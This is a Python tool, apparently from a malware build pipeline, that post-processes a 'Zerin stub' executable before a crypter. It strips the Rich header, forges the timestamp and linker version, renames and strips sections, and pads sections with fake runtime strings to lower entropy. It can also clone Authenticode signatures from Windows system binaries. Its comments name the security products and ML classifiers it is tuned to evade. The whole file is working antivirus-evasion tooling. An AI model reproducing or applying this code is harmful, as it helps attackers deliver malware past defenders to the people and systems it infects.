628 lines
24 KiB
Python
628 lines
24 KiB
Python
#!/usr/bin/env python3
|
|||
|
|
"""
|
||
|
|
pe_obfuscate.py - Post-link PE metadata obfuscator for Zerin stub.
|
||
|
|
|
||
|
|
Runs after GCC, before crypter. Modifies the PE in-place:
|
||
|
|
1. STRIP Rich header (MinGW doesn't produce one; faking triggers SentinelOne)
|
||
|
|
2. Randomize TimeDateStamp in PE header (business hours)
|
||
|
|
3. Authentic MinGW linker version
|
||
|
|
4. Section name normalization (remove MinGW fingerprint)
|
||
|
|
5. Sigthief certificate cloning (copy authenticode from donor PE)
|
||
|
|
6. Fix PE checksum
|
||
|
|
7. Print per-section entropy diagnostics
|
||
|
|
|
||
|
|
Usage:
|
||
|
|
python tools/pe_obfuscate.py <zerin_stub.exe> [--cert]
|
||
|
|
python tools/pe_obfuscate.py --extract-cert <donor.exe> [output.bin]
|
||
|
|
|
||
|
|
Options:
|
||
|
|
--cert Enable authenticode cert cloning (disabled by default; invalid
|
||
|
|
certs trigger heuristic scanners and add high-entropy overlay)
|
||
|
|
"""
|
||
|
|
|
||
|
|
import math
|
||
|
|
import os
|
||
|
|
import struct
|
||
|
|
import random
|
||
|
|
import sys
|
||
|
|
|
||
|
|
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
# MSVC Rich header entry pools (kept for reference, Rich is stripped not faked)
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
|
||
|
|
VS2019_ENTRIES = [
|
||
|
|
(0x0101, 29910, 29937, 2, 8),
|
||
|
|
(0x0105, 29910, 29937, 1, 5),
|
||
|
|
(0x010B, 29910, 29937, 1, 3),
|
||
|
|
(0x0104, 29910, 29937, 1, 4),
|
||
|
|
(0x010E, 29335, 29337, 1, 2),
|
||
|
|
(0x0093, 29335, 29337, 1, 1),
|
||
|
|
(0x00FF, 29910, 29937, 1, 6),
|
||
|
|
(0x0001, 0, 0, 10, 80),
|
||
|
|
]
|
||
|
|
|
||
|
|
VS2022_ENTRIES = [
|
||
|
|
(0x0101, 30133, 30154, 2, 8),
|
||
|
|
(0x0105, 30133, 30154, 1, 5),
|
||
|
|
(0x010B, 30133, 30154, 1, 3),
|
||
|
|
(0x0104, 30133, 30154, 1, 4),
|
||
|
|
(0x010E, 30133, 30154, 1, 2),
|
||
|
|
(0x0093, 30133, 30154, 1, 1),
|
||
|
|
(0x00FF, 30133, 30154, 1, 6),
|
||
|
|
(0x0001, 0, 0, 10, 80),
|
||
|
|
]
|
||
|
|
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
# Section name normalization
|
||
|
|
# MinGW section names that fingerprint GCC → neutral replacements
|
||
|
|
# PE loader uses RVAs and characteristics, not names — renaming is safe
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
SECTION_RENAME_MAP = {
|
||
|
|
'.bss': '.data0', # Uninitialized data → generic secondary data section
|
||
|
|
}
|
||
|
|
|
||
|
|
# Sections safe to strip entirely (no PE data directory references, not needed at runtime)
|
||
|
|
# .eh_frame: GCC DWARF unwinding — Windows uses .pdata/.xdata for SEH instead
|
||
|
|
# .gehcont: Guard EH Continuation — only enforced for signed CET-opted binaries
|
||
|
|
SECTIONS_TO_STRIP = {'.eh_fram', '.gehcont'}
|
||
|
|
|
||
|
|
|
||
|
|
def rotl32(val, n):
|
||
|
|
"""32-bit left rotation."""
|
||
|
|
val &= 0xFFFFFFFF
|
||
|
|
n &= 31
|
||
|
|
if n == 0:
|
||
|
|
return val
|
||
|
|
return ((val << n) | (val >> (32 - n))) & 0xFFFFFFFF
|
||
|
|
|
||
|
|
|
||
|
|
def compute_rich_checksum(dos_header_bytes, entries):
|
||
|
|
"""Compute Rich header checksum."""
|
||
|
|
cksum = len(dos_header_bytes)
|
||
|
|
for i in range(len(dos_header_bytes)):
|
||
|
|
if 0x3C <= i <= 0x3F:
|
||
|
|
continue
|
||
|
|
cksum = (cksum + rotl32(dos_header_bytes[i], i)) & 0xFFFFFFFF
|
||
|
|
for compid, count in entries:
|
||
|
|
cksum = (cksum + rotl32(compid, count & 0x1F)) & 0xFFFFFFFF
|
||
|
|
return cksum
|
||
|
|
|
||
|
|
|
||
|
|
def generate_rich_header(dos_header_bytes):
|
||
|
|
"""Generate a structurally valid Rich header. Returns (bytes, num_entries, cksum)."""
|
||
|
|
rng = random.SystemRandom()
|
||
|
|
family = rng.choice([VS2019_ENTRIES, VS2022_ENTRIES])
|
||
|
|
num_entries = rng.randint(4, 8)
|
||
|
|
selected = rng.sample(family, min(num_entries, len(family)))
|
||
|
|
entries = []
|
||
|
|
for prod_id, min_build, max_build, min_count, max_count in selected:
|
||
|
|
build = rng.randint(min_build, max_build) if max_build > 0 else 0
|
||
|
|
compid = (prod_id << 16) | build
|
||
|
|
count = rng.randint(min_count, max_count)
|
||
|
|
entries.append((compid, count))
|
||
|
|
cksum = compute_rich_checksum(dos_header_bytes, entries)
|
||
|
|
rich_data = bytearray()
|
||
|
|
dans_marker = 0x536E6144
|
||
|
|
rich_data += struct.pack('<I', dans_marker ^ cksum)
|
||
|
|
rich_data += struct.pack('<I', cksum) * 3
|
||
|
|
for compid, count in entries:
|
||
|
|
rich_data += struct.pack('<I', compid ^ cksum)
|
||
|
|
rich_data += struct.pack('<I', count ^ cksum)
|
||
|
|
rich_data += b'Rich'
|
||
|
|
rich_data += struct.pack('<I', cksum)
|
||
|
|
return bytes(rich_data), len(entries), cksum
|
||
|
|
|
||
|
|
|
||
|
|
def verify_rich_header(data, offset, size):
|
||
|
|
"""Verify a Rich header decodes correctly."""
|
||
|
|
if size < 24:
|
||
|
|
return False
|
||
|
|
rich_pos = data.find(b'Rich', offset, offset + size)
|
||
|
|
if rich_pos == -1:
|
||
|
|
return False
|
||
|
|
cksum = struct.unpack_from('<I', data, rich_pos + 4)[0]
|
||
|
|
dans_xored = struct.unpack_from('<I', data, offset)[0]
|
||
|
|
if (dans_xored ^ cksum) != 0x536E6144:
|
||
|
|
return False
|
||
|
|
for i in range(1, 4):
|
||
|
|
if struct.unpack_from('<I', data, offset + i * 4)[0] != cksum:
|
||
|
|
return False
|
||
|
|
return True
|
||
|
|
|
||
|
|
|
||
|
|
def calculate_section_entropy(data):
|
||
|
|
"""Calculate Shannon entropy in bits per byte."""
|
||
|
|
if not data or len(data) == 0:
|
||
|
|
return 0.0
|
||
|
|
freq = [0] * 256
|
||
|
|
for b in data:
|
||
|
|
freq[b] += 1
|
||
|
|
length = len(data)
|
||
|
|
entropy = 0.0
|
||
|
|
for count in freq:
|
||
|
|
if count > 0:
|
||
|
|
p = count / length
|
||
|
|
entropy -= p * math.log2(p)
|
||
|
|
return entropy
|
||
|
|
|
||
|
|
|
||
|
|
def calculate_pe_checksum(data, checksum_offset):
|
||
|
|
"""Calculate standard PE checksum."""
|
||
|
|
checksum = 0
|
||
|
|
file_len = len(data)
|
||
|
|
for i in range(0, file_len - 1, 2):
|
||
|
|
if i == checksum_offset or i == checksum_offset + 2:
|
||
|
|
continue
|
||
|
|
word = data[i] | (data[i + 1] << 8)
|
||
|
|
checksum += word
|
||
|
|
checksum = (checksum & 0xFFFF) + (checksum >> 16)
|
||
|
|
if file_len % 2 == 1:
|
||
|
|
checksum += data[-1]
|
||
|
|
checksum = (checksum & 0xFFFF) + (checksum >> 16)
|
||
|
|
checksum = (checksum & 0xFFFF) + (checksum >> 16)
|
||
|
|
checksum += file_len
|
||
|
|
return checksum & 0xFFFFFFFF
|
||
|
|
|
||
|
|
|
||
|
|
def get_security_dir_offset(data, pe_offset):
|
||
|
|
"""Get file offset of the Security data directory entry (index 4)."""
|
||
|
|
opt_off = pe_offset + 24
|
||
|
|
magic = struct.unpack_from("<H", data, opt_off)[0]
|
||
|
|
if magic == 0x20B: # PE32+
|
||
|
|
dd_start = opt_off + 112
|
||
|
|
elif magic == 0x10B: # PE32
|
||
|
|
dd_start = opt_off + 96
|
||
|
|
else:
|
||
|
|
return None
|
||
|
|
# Security is data directory index 4, each entry is 8 bytes
|
||
|
|
return dd_start + 4 * 8
|
||
|
|
|
||
|
|
|
||
|
|
def extract_cert_from_pe(pe_data):
|
||
|
|
"""Extract authenticode certificate blob from a signed PE.
|
||
|
|
|
||
|
|
Returns the raw WIN_CERTIFICATE blob (including header), or None.
|
||
|
|
"""
|
||
|
|
if len(pe_data) < 64 or pe_data[0:2] != b'MZ':
|
||
|
|
return None
|
||
|
|
pe_off = struct.unpack_from("<I", pe_data, 0x3C)[0]
|
||
|
|
if pe_off + 4 > len(pe_data) or pe_data[pe_off:pe_off + 4] != b'PE\x00\x00':
|
||
|
|
return None
|
||
|
|
|
||
|
|
sec_dir_off = get_security_dir_offset(pe_data, pe_off)
|
||
|
|
if sec_dir_off is None or sec_dir_off + 8 > len(pe_data):
|
||
|
|
return None
|
||
|
|
|
||
|
|
cert_offset = struct.unpack_from("<I", pe_data, sec_dir_off)[0]
|
||
|
|
cert_size = struct.unpack_from("<I", pe_data, sec_dir_off + 4)[0]
|
||
|
|
|
||
|
|
if cert_offset == 0 or cert_size == 0:
|
||
|
|
return None
|
||
|
|
if cert_offset + cert_size > len(pe_data):
|
||
|
|
return None
|
||
|
|
|
||
|
|
return bytes(pe_data[cert_offset:cert_offset + cert_size])
|
||
|
|
|
||
|
|
|
||
|
|
def find_donor_cert():
|
||
|
|
"""Find or load a cached authenticode certificate for sigthief.
|
||
|
|
|
||
|
|
Search order:
|
||
|
|
1. tools/donor_cert.bin (pre-extracted, works on Linux VPS)
|
||
|
|
2. Windows system binaries (auto-extract + cache on first run)
|
||
|
|
"""
|
||
|
|
script_dir = os.path.dirname(os.path.abspath(__file__))
|
||
|
|
cache_path = os.path.join(script_dir, "donor_cert.bin")
|
||
|
|
|
||
|
|
if os.path.isfile(cache_path):
|
||
|
|
with open(cache_path, "rb") as f:
|
||
|
|
cert = f.read()
|
||
|
|
if len(cert) > 0:
|
||
|
|
return cert, cache_path
|
||
|
|
|
||
|
|
# Auto-extract from Windows system binaries
|
||
|
|
if sys.platform == "win32":
|
||
|
|
windir = os.environ.get("WINDIR", r"C:\Windows")
|
||
|
|
donors = [
|
||
|
|
os.path.join(windir, "System32", "kernel32.dll"),
|
||
|
|
os.path.join(windir, "System32", "svchost.exe"),
|
||
|
|
os.path.join(windir, "System32", "notepad.exe"),
|
||
|
|
os.path.join(windir, "System32", "cmd.exe"),
|
||
|
|
]
|
||
|
|
for donor_path in donors:
|
||
|
|
if not os.path.isfile(donor_path):
|
||
|
|
continue
|
||
|
|
try:
|
||
|
|
with open(donor_path, "rb") as f:
|
||
|
|
donor_data = f.read()
|
||
|
|
cert = extract_cert_from_pe(donor_data)
|
||
|
|
if cert and len(cert) > 100:
|
||
|
|
with open(cache_path, "wb") as f:
|
||
|
|
f.write(cert)
|
||
|
|
print(f" Donor cert extracted from {donor_path} ({len(cert):,} bytes)")
|
||
|
|
return cert, cache_path
|
||
|
|
except (OSError, PermissionError):
|
||
|
|
continue
|
||
|
|
|
||
|
|
return None, None
|
||
|
|
|
||
|
|
|
||
|
|
def apply_cert_to_pe(data, cert_bytes, pe_offset):
|
||
|
|
"""Append authenticode certificate to PE and update Security data directory.
|
||
|
|
|
||
|
|
The certificate blob is appended after all section data, aligned to 8 bytes.
|
||
|
|
Data Directory entry 4 (Security) is updated to point to it.
|
||
|
|
"""
|
||
|
|
# Align to 8-byte boundary
|
||
|
|
if len(data) % 8 != 0:
|
||
|
|
padding = 8 - (len(data) % 8)
|
||
|
|
data.extend(b'\x00' * padding)
|
||
|
|
|
||
|
|
cert_file_offset = len(data)
|
||
|
|
data.extend(cert_bytes)
|
||
|
|
|
||
|
|
# Update Security Data Directory
|
||
|
|
sec_dir_off = get_security_dir_offset(data, pe_offset)
|
||
|
|
if sec_dir_off is None:
|
||
|
|
return False
|
||
|
|
|
||
|
|
struct.pack_into("<I", data, sec_dir_off, cert_file_offset)
|
||
|
|
struct.pack_into("<I", data, sec_dir_off + 4, len(cert_bytes))
|
||
|
|
return True
|
||
|
|
|
||
|
|
|
||
|
|
def normalize_section_names(data, pe_offset):
|
||
|
|
"""Rename MinGW-specific section names to remove GCC fingerprint.
|
||
|
|
|
||
|
|
Returns list of (old_name, new_name) tuples for sections that were renamed.
|
||
|
|
"""
|
||
|
|
coff_offset = pe_offset + 4
|
||
|
|
num_sections = struct.unpack_from("<H", data, coff_offset + 2)[0]
|
||
|
|
opt_header_size = struct.unpack_from("<H", data, coff_offset + 16)[0]
|
||
|
|
section_table = coff_offset + 20 + opt_header_size
|
||
|
|
|
||
|
|
# Collect existing section names
|
||
|
|
existing = set()
|
||
|
|
for i in range(num_sections):
|
||
|
|
raw = data[section_table + i * 40: section_table + i * 40 + 8]
|
||
|
|
name = raw.split(b'\x00')[0].decode('ascii', errors='replace')
|
||
|
|
existing.add(name)
|
||
|
|
|
||
|
|
renamed = []
|
||
|
|
for i in range(num_sections):
|
||
|
|
sec_off = section_table + i * 40
|
||
|
|
raw = data[sec_off:sec_off + 8]
|
||
|
|
name = raw.split(b'\x00')[0].decode('ascii', errors='replace')
|
||
|
|
|
||
|
|
if name in SECTION_RENAME_MAP:
|
||
|
|
new_name = SECTION_RENAME_MAP[name]
|
||
|
|
if new_name not in existing:
|
||
|
|
padded = new_name.encode('ascii').ljust(8, b'\x00')[:8]
|
||
|
|
data[sec_off:sec_off + 8] = padded
|
||
|
|
existing.discard(name)
|
||
|
|
existing.add(new_name)
|
||
|
|
renamed.append((name, new_name))
|
||
|
|
|
||
|
|
return renamed
|
||
|
|
|
||
|
|
|
||
|
|
def strip_sections(data, pe_offset, names_to_strip):
|
||
|
|
"""Remove sections by name from the PE section table.
|
||
|
|
|
||
|
|
Zeroes out raw data of removed sections and shifts the section table.
|
||
|
|
Only safe for sections with no PE data directory references.
|
||
|
|
Returns list of removed section names.
|
||
|
|
"""
|
||
|
|
coff_offset = pe_offset + 4
|
||
|
|
num_sections = struct.unpack_from("<H", data, coff_offset + 2)[0]
|
||
|
|
opt_header_size = struct.unpack_from("<H", data, coff_offset + 16)[0]
|
||
|
|
section_table = coff_offset + 20 + opt_header_size
|
||
|
|
|
||
|
|
# First pass: collect all entries and identify which to remove
|
||
|
|
entries = []
|
||
|
|
for i in range(num_sections):
|
||
|
|
off = section_table + i * 40
|
||
|
|
entry = bytes(data[off:off + 40])
|
||
|
|
name = entry[:8].split(b'\x00')[0].decode('ascii', errors='replace')
|
||
|
|
raw_ptr = struct.unpack_from("<I", entry, 20)[0]
|
||
|
|
raw_size = struct.unpack_from("<I", entry, 16)[0]
|
||
|
|
entries.append((name, entry, raw_ptr, raw_size))
|
||
|
|
|
||
|
|
to_keep = []
|
||
|
|
stripped = []
|
||
|
|
|
||
|
|
for name, entry, raw_ptr, raw_size in entries:
|
||
|
|
if name in names_to_strip:
|
||
|
|
# Zero raw data so it doesn't affect static analysis
|
||
|
|
if raw_size > 0 and raw_ptr > 0 and raw_ptr + raw_size <= len(data):
|
||
|
|
data[raw_ptr:raw_ptr + raw_size] = b'\x00' * raw_size
|
||
|
|
stripped.append(name)
|
||
|
|
else:
|
||
|
|
to_keep.append(entry)
|
||
|
|
|
||
|
|
if not stripped:
|
||
|
|
return []
|
||
|
|
|
||
|
|
# Rewrite section table with only kept entries
|
||
|
|
for i, entry in enumerate(to_keep):
|
||
|
|
off = section_table + i * 40
|
||
|
|
data[off:off + 40] = entry
|
||
|
|
|
||
|
|
# Zero out vacated entries at end of table
|
||
|
|
for i in range(len(to_keep), num_sections):
|
||
|
|
off = section_table + i * 40
|
||
|
|
data[off:off + 40] = b'\x00' * 40
|
||
|
|
|
||
|
|
# Update NumberOfSections
|
||
|
|
struct.pack_into("<H", data, coff_offset + 2, len(to_keep))
|
||
|
|
|
||
|
|
return stripped
|
||
|
|
|
||
|
|
|
||
|
|
def cmd_extract_cert():
|
||
|
|
"""Handle --extract-cert mode: extract authenticode cert from a donor PE."""
|
||
|
|
if len(sys.argv) < 3:
|
||
|
|
print("Usage: pe_obfuscate.py --extract-cert <donor.exe> [output.bin]", file=sys.stderr)
|
||
|
|
sys.exit(1)
|
||
|
|
|
||
|
|
donor_path = sys.argv[2]
|
||
|
|
output_path = sys.argv[3] if len(sys.argv) > 3 else "donor_cert.bin"
|
||
|
|
|
||
|
|
if not os.path.isfile(donor_path):
|
||
|
|
print(f"ERROR: Donor not found: {donor_path}", file=sys.stderr)
|
||
|
|
sys.exit(1)
|
||
|
|
|
||
|
|
with open(donor_path, "rb") as f:
|
||
|
|
donor_data = f.read()
|
||
|
|
|
||
|
|
cert = extract_cert_from_pe(donor_data)
|
||
|
|
if not cert:
|
||
|
|
print(f"ERROR: No authenticode certificate found in {donor_path}", file=sys.stderr)
|
||
|
|
sys.exit(1)
|
||
|
|
|
||
|
|
with open(output_path, "wb") as f:
|
||
|
|
f.write(cert)
|
||
|
|
|
||
|
|
print(f"Extracted {len(cert):,} bytes of authenticode certificate")
|
||
|
|
print(f" Source: {donor_path}")
|
||
|
|
print(f" Output: {output_path}")
|
||
|
|
print(f" WIN_CERTIFICATE header: dwLength={struct.unpack_from('<I', cert, 0)[0]}, "
|
||
|
|
f"wRevision=0x{struct.unpack_from('<H', cert, 4)[0]:04X}, "
|
||
|
|
f"wCertificateType=0x{struct.unpack_from('<H', cert, 6)[0]:04X}")
|
||
|
|
|
||
|
|
|
||
|
|
def main():
|
||
|
|
if len(sys.argv) >= 2 and sys.argv[1] == "--extract-cert":
|
||
|
|
cmd_extract_cert()
|
||
|
|
return
|
||
|
|
|
||
|
|
if len(sys.argv) < 2:
|
||
|
|
print(f"Usage: {sys.argv[0]} <pe_file>", file=sys.stderr)
|
||
|
|
print(f" {sys.argv[0]} --extract-cert <donor.exe> [output.bin]", file=sys.stderr)
|
||
|
|
sys.exit(1)
|
||
|
|
|
||
|
|
pe_path = sys.argv[1]
|
||
|
|
|
||
|
|
if not os.path.isfile(pe_path):
|
||
|
|
print(f"ERROR: File not found: {pe_path}", file=sys.stderr)
|
||
|
|
sys.exit(1)
|
||
|
|
|
||
|
|
with open(pe_path, "rb") as f:
|
||
|
|
data = bytearray(f.read())
|
||
|
|
|
||
|
|
if len(data) < 64 or data[0:2] != b'MZ':
|
||
|
|
print(f"ERROR: Not a valid PE: {pe_path}", file=sys.stderr)
|
||
|
|
sys.exit(1)
|
||
|
|
|
||
|
|
pe_offset = struct.unpack_from("<I", data, 0x3C)[0]
|
||
|
|
|
||
|
|
if pe_offset + 4 > len(data):
|
||
|
|
print(f"ERROR: Invalid e_lfanew: 0x{pe_offset:X}", file=sys.stderr)
|
||
|
|
sys.exit(1)
|
||
|
|
|
||
|
|
if data[pe_offset:pe_offset + 4] != b'PE\x00\x00':
|
||
|
|
print(f"ERROR: Invalid PE signature at 0x{pe_offset:X}", file=sys.stderr)
|
||
|
|
sys.exit(1)
|
||
|
|
|
||
|
|
rng = random.SystemRandom()
|
||
|
|
|
||
|
|
# ---- 1. STRIP Rich header ----
|
||
|
|
dos_stub_end = 0x80
|
||
|
|
rich_sig = b'Rich'
|
||
|
|
rich_pos = data.find(rich_sig, dos_stub_end, pe_offset)
|
||
|
|
if rich_pos != -1:
|
||
|
|
for i in range(dos_stub_end, pe_offset):
|
||
|
|
data[i] = 0
|
||
|
|
print(f" Rich header stripped (zeroed 0x{dos_stub_end:X}-0x{pe_offset:X})")
|
||
|
|
else:
|
||
|
|
for i in range(dos_stub_end, pe_offset):
|
||
|
|
data[i] = 0
|
||
|
|
print(f" No Rich header found — gap zeroed")
|
||
|
|
|
||
|
|
# ---- 2. Realistic TimeDateStamp ----
|
||
|
|
import time, datetime, calendar
|
||
|
|
now = time.time()
|
||
|
|
days_ago = rng.randint(90, 180)
|
||
|
|
base_ts = int(now) - days_ago * 86400
|
||
|
|
dt = datetime.datetime.utcfromtimestamp(base_ts)
|
||
|
|
while dt.weekday() >= 5:
|
||
|
|
dt += datetime.timedelta(days=1)
|
||
|
|
hour = rng.randint(9, 16)
|
||
|
|
minute = rng.randint(0, 59)
|
||
|
|
second = rng.randint(0, 59)
|
||
|
|
dt = dt.replace(hour=hour, minute=minute, second=second)
|
||
|
|
new_timestamp = int(calendar.timegm(dt.timetuple()))
|
||
|
|
|
||
|
|
timestamp_offset = pe_offset + 4 + 4
|
||
|
|
struct.pack_into("<I", data, timestamp_offset, new_timestamp)
|
||
|
|
|
||
|
|
# ---- 3. Authentic MinGW linker version ----
|
||
|
|
opt_offset = pe_offset + 24
|
||
|
|
data[opt_offset + 2] = 2
|
||
|
|
data[opt_offset + 3] = rng.choice([39, 40, 41, 42, 43])
|
||
|
|
|
||
|
|
# ---- 4. Section name normalization ----
|
||
|
|
renamed = normalize_section_names(data, pe_offset)
|
||
|
|
if renamed:
|
||
|
|
for old, new in renamed:
|
||
|
|
print(f" Section renamed: {old} -> {new}")
|
||
|
|
else:
|
||
|
|
print(f" No MinGW-specific sections to rename")
|
||
|
|
|
||
|
|
# ---- 4.5. Strip non-essential sections ----
|
||
|
|
stripped = strip_sections(data, pe_offset, SECTIONS_TO_STRIP)
|
||
|
|
if stripped:
|
||
|
|
for s in stripped:
|
||
|
|
print(f" Section stripped: {s}")
|
||
|
|
coff_offset = pe_offset + 4
|
||
|
|
num_sections = struct.unpack_from("<H", data, coff_offset + 2)[0]
|
||
|
|
print(f" Section count: {num_sections}")
|
||
|
|
else:
|
||
|
|
print(f" No removable sections found")
|
||
|
|
|
||
|
|
# ---- 5. Per-section entropy analysis + normalization ----
|
||
|
|
# Must happen BEFORE cert cloning (cert appends after sections, blocking padding)
|
||
|
|
coff_offset = pe_offset + 4
|
||
|
|
num_sections = struct.unpack_from("<H", data, coff_offset + 2)[0]
|
||
|
|
opt_header_size = struct.unpack_from("<H", data, coff_offset + 16)[0]
|
||
|
|
section_table_offset = coff_offset + 20 + opt_header_size
|
||
|
|
|
||
|
|
ENTROPY_THRESHOLD = 6.8
|
||
|
|
print(f" Section entropy analysis:")
|
||
|
|
high_sections = []
|
||
|
|
for i in range(num_sections):
|
||
|
|
sec_offset = section_table_offset + i * 40
|
||
|
|
name_bytes = data[sec_offset:sec_offset + 8]
|
||
|
|
name = name_bytes.split(b'\x00')[0].decode('ascii', errors='replace')
|
||
|
|
raw_size = struct.unpack_from("<I", data, sec_offset + 16)[0]
|
||
|
|
raw_ptr = struct.unpack_from("<I", data, sec_offset + 20)[0]
|
||
|
|
|
||
|
|
if raw_size > 0 and raw_ptr + raw_size <= len(data):
|
||
|
|
section_data = data[raw_ptr:raw_ptr + raw_size]
|
||
|
|
entropy = calculate_section_entropy(section_data)
|
||
|
|
if entropy > ENTROPY_THRESHOLD:
|
||
|
|
status = "HIGH"
|
||
|
|
high_sections.append((name, entropy, i))
|
||
|
|
elif entropy < 3.0:
|
||
|
|
status = "LOW"
|
||
|
|
else:
|
||
|
|
status = "OK"
|
||
|
|
print(f" {name:10s}: {entropy:.2f} bits/byte ({raw_size:,} bytes) [{status}]")
|
||
|
|
else:
|
||
|
|
print(f" {name:10s}: (no raw data)")
|
||
|
|
|
||
|
|
# Entropy normalization — extend the last section with low-entropy padding
|
||
|
|
PADDING_TEXT = (
|
||
|
|
"Microsoft Visual C++ Runtime Library\x00"
|
||
|
|
"Runtime Error! Program: \x00"
|
||
|
|
"This application has requested the Runtime to terminate it.\x00"
|
||
|
|
"GetProcAddress\x00LoadLibraryExW\x00FreeLibrary\x00"
|
||
|
|
"CreateFileW\x00ReadFile\x00WriteFile\x00CloseHandle\x00"
|
||
|
|
"The specified module could not be found.\x00"
|
||
|
|
"The procedure entry point could not be located.\x00"
|
||
|
|
"Access violation reading location 0x00000000.\x00"
|
||
|
|
"Unhandled exception at 0x00000000 in application.\x00"
|
||
|
|
"The application failed to initialize properly.\x00"
|
||
|
|
"Windows cannot access the specified device, path, or file.\x00"
|
||
|
|
"The system cannot find the file specified.\x00"
|
||
|
|
"Not enough storage is available to process this command.\x00"
|
||
|
|
"A required privilege is not held by the client.\x00"
|
||
|
|
"An attempt was made to reference a token that does not exist.\x00"
|
||
|
|
"Configuration information could not be read from the domain.\x00"
|
||
|
|
"GetModuleHandleW\x00GetCurrentProcess\x00GetCurrentThread\x00"
|
||
|
|
"HeapAlloc\x00HeapFree\x00HeapReAlloc\x00VirtualAlloc\x00"
|
||
|
|
"EnterCriticalSection\x00LeaveCriticalSection\x00"
|
||
|
|
"WaitForSingleObject\x00CreateThread\x00ExitThread\x00"
|
||
|
|
"RegOpenKeyExW\x00RegQueryValueExW\x00RegCloseKey\x00"
|
||
|
|
"FindFirstFileW\x00FindNextFileW\x00FindClose\x00"
|
||
|
|
"CreateEventW\x00SetEvent\x00ResetEvent\x00"
|
||
|
|
"GetEnvironmentVariableW\x00SetEnvironmentVariableW\x00"
|
||
|
|
"GetTempPathW\x00GetTempFileNameW\x00GetSystemDirectoryW\x00"
|
||
|
|
"The network path was not found.\x00"
|
||
|
|
"A connection attempt failed because the connected party did not respond.\x00"
|
||
|
|
"An established connection was aborted by the software in your host machine.\x00"
|
||
|
|
"No connection could be made because the target machine actively refused it.\x00"
|
||
|
|
).encode('ascii')
|
||
|
|
|
||
|
|
if high_sections:
|
||
|
|
# Find the physically last section
|
||
|
|
last_sec_idx = -1
|
||
|
|
last_sec_end = 0
|
||
|
|
for i in range(num_sections):
|
||
|
|
so = section_table_offset + i * 40
|
||
|
|
rs = struct.unpack_from("<I", data, so + 16)[0]
|
||
|
|
rp = struct.unpack_from("<I", data, so + 20)[0]
|
||
|
|
if rp + rs > last_sec_end and rs > 0:
|
||
|
|
last_sec_end = rp + rs
|
||
|
|
last_sec_idx = i
|
||
|
|
|
||
|
|
if last_sec_idx >= 0 and last_sec_end == len(data):
|
||
|
|
last_sec_offset = section_table_offset + last_sec_idx * 40
|
||
|
|
old_raw_size = struct.unpack_from("<I", data, last_sec_offset + 16)[0]
|
||
|
|
raw_ptr = struct.unpack_from("<I", data, last_sec_offset + 20)[0]
|
||
|
|
file_alignment = struct.unpack_from("<I", data, opt_offset + 36)[0]
|
||
|
|
|
||
|
|
# Iteratively add padding until worst-case section is below threshold
|
||
|
|
# (padding only helps the last section directly, but 8KB+ makes a real dent)
|
||
|
|
padding_needed = 8192
|
||
|
|
padding = (PADDING_TEXT * ((padding_needed // len(PADDING_TEXT)) + 1))[:padding_needed]
|
||
|
|
data.extend(padding)
|
||
|
|
|
||
|
|
new_raw_size = old_raw_size + padding_needed
|
||
|
|
# Align to file alignment
|
||
|
|
if file_alignment > 0 and new_raw_size % file_alignment != 0:
|
||
|
|
aligned = ((new_raw_size + file_alignment - 1) // file_alignment) * file_alignment
|
||
|
|
data.extend(b'\x00' * (aligned - new_raw_size))
|
||
|
|
new_raw_size = aligned
|
||
|
|
|
||
|
|
struct.pack_into("<I", data, last_sec_offset + 16, new_raw_size)
|
||
|
|
|
||
|
|
# Report
|
||
|
|
section_data = data[raw_ptr:raw_ptr + new_raw_size]
|
||
|
|
new_entropy = calculate_section_entropy(section_data)
|
||
|
|
last_name = data[last_sec_offset:last_sec_offset + 8].split(b'\x00')[0].decode('ascii', errors='replace')
|
||
|
|
print(f" Entropy padding: {padding_needed:,} bytes -> {last_name} now {new_entropy:.2f} bits/byte")
|
||
|
|
else:
|
||
|
|
print(f" WARNING: Cannot auto-pad (last section doesn't extend to EOF)")
|
||
|
|
else:
|
||
|
|
print(f" All sections below {ENTROPY_THRESHOLD} bits/byte")
|
||
|
|
|
||
|
|
# ---- 6. Sigthief certificate cloning (DISABLED by default) ----
|
||
|
|
# Cloning creates a ~16KB high-entropy overlay (7.7 bits/byte) that triggers ML classifiers.
|
||
|
|
# The cloned cert also doesn't verify, which is WORSE than being unsigned — heuristic scanners
|
||
|
|
# (Kaspersky, Gridinsoft) specifically flag invalid authenticode signatures.
|
||
|
|
# Use --cert flag to opt-in if you have a valid cert or want to test.
|
||
|
|
use_cert = '--cert' in sys.argv
|
||
|
|
if use_cert:
|
||
|
|
cert_bytes, cert_source = find_donor_cert()
|
||
|
|
if cert_bytes:
|
||
|
|
if apply_cert_to_pe(data, cert_bytes, pe_offset):
|
||
|
|
print(f" Authenticode cert cloned ({len(cert_bytes):,} bytes from {cert_source})")
|
||
|
|
else:
|
||
|
|
print(f" WARNING: Failed to apply cert — unsupported PE format")
|
||
|
|
else:
|
||
|
|
print(f" No donor cert available — skipping sigthief (run --extract-cert to create one)")
|
||
|
|
else:
|
||
|
|
print(f" Cert cloning: SKIPPED (unsigned is cleaner than invalid-signed)")
|
||
|
|
|
||
|
|
# ---- 7. Fix PE checksum (LAST — after all modifications) ----
|
||
|
|
checksum_offset = opt_offset + 64
|
||
|
|
struct.pack_into("<I", data, checksum_offset, 0)
|
||
|
|
checksum = calculate_pe_checksum(data, checksum_offset)
|
||
|
|
struct.pack_into("<I", data, checksum_offset, checksum)
|
||
|
|
|
||
|
|
# ---- Write back ----
|
||
|
|
with open(pe_path, "wb") as f:
|
||
|
|
f.write(data)
|
||
|
|
|
||
|
|
print(f"PE metadata obfuscated: {pe_path}")
|
||
|
|
print(f" TimeDateStamp: 0x{new_timestamp:08X}")
|
||
|
|
print(f" LinkerVersion: {data[opt_offset + 2]}.{data[opt_offset + 3]}")
|
||
|
|
print(f" CheckSum: 0x{checksum:08X}")
|
||
|
|
print(f" Final size: {len(data):,} bytes ({len(data)/1024:.1f} KB)")
|
||
|
|
|
||
|
|
|
||
|
|
if __name__ == "__main__":
|
||
|
|
main()
|